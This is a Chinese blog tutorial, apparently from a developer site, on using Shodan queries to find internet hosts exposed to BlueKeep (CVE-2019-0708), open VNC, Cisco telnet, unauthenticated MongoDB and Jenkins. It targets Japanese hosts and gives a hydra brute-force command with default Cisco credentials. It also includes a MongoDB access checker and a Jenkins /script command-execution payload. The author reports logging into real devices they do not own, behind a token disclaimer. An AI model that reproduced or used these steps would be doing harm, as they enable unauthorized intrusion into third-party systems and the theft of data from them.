shodan进阶-实战案例

导语

一、CVE-2019-0708(3389漏洞)

[1. 概要](#1. 概要)

[2. 原理](#2. 原理)

[3. 搜索命令](#3. 搜索命令)

二、vnc空密码(未授权访问)

[1. 概要](#1. 概要)

[2. 原理](#2. 原理)

[3. 搜索命令](#3. 搜索命令)

三、思科网络设备未授权

[1. 概要](#1. 概要)

[2. 原理](#2. 原理)

3.搜索命令

[四、MongoDB 未授权访问](#四、MongoDB 未授权访问)

[1. 概要](#1. 概要)

[2. 原理](#2. 原理)

[3. 搜索命令](#3. 搜索命令)

五、Jenkins组件漏洞

[1. 概要](#1. 概要)

[2. 原理](#2. 原理)

[3. 搜索命令](#3. 搜索命令)

总结


学习视频:泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频

导语

shodan基础介绍讲到shodan在服务器上部署了很多的扫描器,其中就包括漏洞扫描器,是可以通过vuln来查找的,在没有 Shodan 高级会员权限的情况下,无法使用 vuln 参数直接查找存在漏洞的主机,但通过灵活的搜索组合,我们依然可以实现对特定漏洞的设备定位。本次以下几种漏洞为例,介绍如何利用 Shodan 的搜索功能筛选受影响的设备,并结合脚本批量和手工的方式验证,帮助更高效地识别网络中的高危资产。

Shodan 提供了丰富的查询功能,通过关键词、端口、操作系统、特征指纹等条件的组合使用,即使在没有高级权限的情况下,也可以实现接近漏洞扫描的效果

一、CVE-2019-0708(3389漏洞)

1. 概要

CVE-2019-0708漏洞是通过检査用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。

2. 原理

存在漏洞的远程桌面四服务器,在接收到特殊数据包时会释放一个内部信道 MS_T120 的控制结构体,但并未将指向该结构体的指针删除,而且在远程桌面连接结束之后还会调用 MS_T120 结构体内的一个函数指针,若攻击者可通过远程发送数据重新占据被释放的MS_T120,并为结构体内的函数指针赋恰当的值,即可实现远程命令执行。

3. 搜索命令

用十六进制制字符串(类似于指纹的方式去找)

复制代码
shodan search --limit 10 --fields ip_str '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' has_vuln:True port:3389 country:jp
  • 参数分析

    • -limit 10 #显示10条资产

    • --fields ip_str #只显示ipv4地址

    • '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' #CVE-2019-0708指纹特征

    • has_vuln:True #只搜索存在CVE漏洞的资产

    • port:3389 #再次精准,只搜索开放了3389端口的资产

    • country:jp #只搜索小樱花的资产

精准打击,后面还可以使用MSF的攻击模块对CVE-2019-0708深度利用,这里就不演示

提示:该实验仅供学习参考,请勿违反网络安全法!


二、vnc空密码(未授权访问)

1. 概要

VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。

2. 原理

VNC(Virtual Network Computing)是一种轻量级的远程控制软件,允许用户通过网络连接并完全控制远程计算机。由于其设计特性,VNC容易受到未授权访问的攻击,尤其是当认证被禁用时,即无需用户密码登录就可被利用,造成恶意用户直接控制目标主机。

3. 搜索命令

shodan search --limit 50 --fields ip_str "authentication disabled" port:5900 country:jp

  • 参数分析

    • -limit 50 #显示50条资产

    • --fields ip_str #只显示ip地址

    • "authentication disabled" #身份认证被禁用

    • port:5900 #再次精准,只搜索开放了5900端口的资产

    • country:jp #只搜索小樱花的资产

可以看到我成功登录了一些设备,命令搜索不是特别精准,所以需要多试几个。

提示:该实验仅供学习参考,请勿违反网络安全法!


三、思科网络设备未授权

1. 概要

思科(Cisco)是一家全球领先的网络解决方案和技术公司,成立于1984年,总部位于美国加利福尼亚州。思科专注于网络硬件、软件和服务,尤其以其路由器、交换机、防火墙和无线解决方案闻名。

2. 原理

思科设备在未获得授权的情况下,会导致未授权登录,如果搜索到的设备如仍需登录也可以使用弱口令进行尝试。

3.搜索命令

shodan search --fields ip_str --limit 100 "cisco -authorized port:23" country:jp

  • 参数分析

    • -limit 100 #显示100条资产

    • --fields ip_str #只显示ip地址

    • "cisco -authorized port:23" #排除已经授权的cisco设备

    • port:23 #只搜索开放了23端口的资产

    • country:jp #只搜索小樱花的资产

搜索到的设备如仍需登录,我们也可以使用弱口令进行尝试。

思科设备常见的默认账号和密码如下:

账户:admin/cisco 密码:cisco

讲解:为什么要搜索一百条呢因为命中率是比较低的,我们后续可以拿搜索到的资产进行弱口令的尝试。

有挺多工具的,我们这里使用kali自带的九头蛇hydra进行一个批量检测。

命令:hydra -s 23 -V -L cisco_name.txt -P cisco_pass.txt -t 16 -M cisco_ip.txt telnet

在文件所在目录运行命令,一下子就可以跑出来不少,但是九头蛇这个工具是有误报率的,可以多多尝试登录。

我这边也是成功登录一个

提示:该实验仅供学习参考,请勿违反网络安全法!


四、MongoDB 未授权访问

1. 概要

MongoDB 是一个开源的 NoSQL 数据库,主要用于处理大量的非结构化数据。它采用文档存储模型,使用 BSON(类似于 JSON 的二进制格式)来存储数据,具有灵活性和高性能。

2. 原理

MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0,则可远程无需授权访问数据库

3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。

3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;

3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

3. 搜索命令

shodan search --fields ip_str --limit 100 "MongoDB Server Information -authentication" port:27017 country:jp

  • 参数分析

    • -limit 100 #显示100条资产

    • --fields ip_str #只显示ip地址

    • "MongoDB Server Information -authentication" #排除已经授权的cisco设备

    • port:27017 #只搜索开放了27017 端口的资产

    • country:jp #只搜索小樱花的资产

讲解:搜索100条也是因为命中率的问题,不过MongoDB未授权的命中率很高,我们可以先拿脚本筛选一下。

可以发现成功了都是比较高的,以下是文中用于测试脚本的核心代码,可以按需魔改。

python 复制代码
from pymongo import MongoClient
from pymongo.errors import ConnectionFailure
​
def main(ip, port=27017):
    try:
        # 创建 MongoDB 客户端,不提供认证信息
        client = MongoClient(ip, port, serverSelectionTimeoutMS=5000)
        # 尝试连接到服务器
        client.admin.command('ping')
        print(f"MongoDB数据库连接成功!IP地址: {ip}, 端口号: {port}")
    except ConnectionFailure:
        print(f"{ip}无法连接到MongoDB数据库。")
if __name__ == "__main__":
    ip='127.0.0.1'
    main(ip)

测试连接

大部分的数据库都已经被黑客光临过了,遇到还有数据的也不要去乱动。

提示:该实验仅供学习参考,请勿违反网络安全法!


五、Jenkins组件漏洞

1. 概要

Jenkins 是一个开源的自动化服务器,主要用于持续集成(CI)和持续交付(CD)过程。它允许开发人员通过自动构建、测试和部署代码,提高软件开发的效率和质量。

2. 原理

在默认配置下Jenkins,存在未授权访问造成的RCE漏洞。

3. 搜索命令

shodan search --limit 10 --fields ip_str,port port:8080 http.title:"Dashboard" "X-Jenkins" OR "Set-Cookie:JSESSIONID"

  • 参数分析

    • -limit 10 #显示100条资产

    • --fields ip_str #只显示ip地址

    • "X-Jenkins" OR "Set-Cookie:JSESSIONID" #框架特征

    • port:8080 #8080端口是Jenkins的默认端口

    • http.title:"Dashboard" #通常标题都是Dashboard

访问/script可以命令执行:println "ifconfig".execute().text

提示:该实验仅供学习参考,请勿违反网络安全法!


总结

即便没有高级会员权限,通过发散思维和灵活的语法组合,我们仍然可以在 Shodan 上实现特定漏洞的设备筛查。此方法对于预算有限的小白用户尤其实用,为安全研究人员提供了更多的探索空间。

相关推荐
明月看潮生5 分钟前
青少年编程与数学 02-003 Go语言网络编程 15课题、Go语言URL编程
开发语言·网络·青少年编程·golang·编程与数学
jjyangyou18 分钟前
物联网核心安全系列——物联网安全需求
物联网·算法·安全·嵌入式·产品经理·硬件·产品设计
龙哥说跨境1 小时前
如何利用指纹浏览器爬虫绕过Cloudflare的防护?
服务器·网络·python·网络爬虫
AltmanChan1 小时前
大语言模型安全威胁
人工智能·安全·语言模型
马船长1 小时前
红帆OA iorepsavexml.aspx文件上传漏洞
安全
懒大王就是我1 小时前
C语言网络编程 -- TCP/iP协议
c语言·网络·tcp/ip
Elaine2023911 小时前
06 网络编程基础
java·网络
海绵波波1073 小时前
Webserver(4.3)TCP通信实现
服务器·网络·tcp/ip
热爱跑步的恒川5 小时前
【论文复现】基于图卷积网络的轻量化推荐模型
网络·人工智能·开源·aigc·ai编程
云飞云共享云桌面6 小时前
8位机械工程师如何共享一台图形工作站算力?
linux·服务器·网络